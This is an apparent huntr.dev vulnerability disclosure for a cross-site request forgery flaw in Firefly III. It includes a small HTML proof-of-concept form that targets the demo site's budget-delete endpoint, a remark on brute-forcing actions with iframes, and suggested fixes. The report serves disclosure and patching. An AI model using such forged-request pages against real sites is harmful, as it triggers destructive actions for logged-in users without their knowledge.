Lucene search

K
huntrAmammadEA181323-51F8-46A2-A60F-6A401907FEB7
HistoryAug 20, 2021 - 7:02 a.m.

Cross-Site Request Forgery (CSRF) in firefly-iii/firefly-iii

2021-08-2007:02:35
amammad
www.huntr.dev
13

0.001 Low

EPSS

Percentile

21.8%

✍️ Description

Attacker able to delete Total available budget with CSRF attack.

It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.

In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can perform attack on unprotected endpoint, this means only with visiting a site a unwanted action will be perform without that user aware from that.

🕵️‍♂️ Proof of Concept

1.fisrt admin already should be logged in Browser.

2.Open the PoC.html (it is auto-submit).

3.If the current id be 15 then Here a Total available budget with will be deleted after the PoC.html file opened.

// PoC.html

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.firefly-iii.org/available-budgets/delete/15">
<input type="submit" value="Submit request" />
</form>
</body>
</html>

This PoC can perform attack without that users noticed and Also PoC can send multiple request at same time that means attacker can Bruteforce all possible actions( with using multiple Iframe )

💥 Impact

This vulnerability is capable of delete Total available budget.

Fix

The easiest way that you set strict attribute on each cookie, Or you set Lax and Use GET requests only for receiving data not changing them.

The best way is that you set a CSRF token in each endpoint.
📍 Location
web.php#L272

0.001 Low

EPSS

Percentile

21.8%

Related for EA181323-51F8-46A2-A60F-6A401907FEB7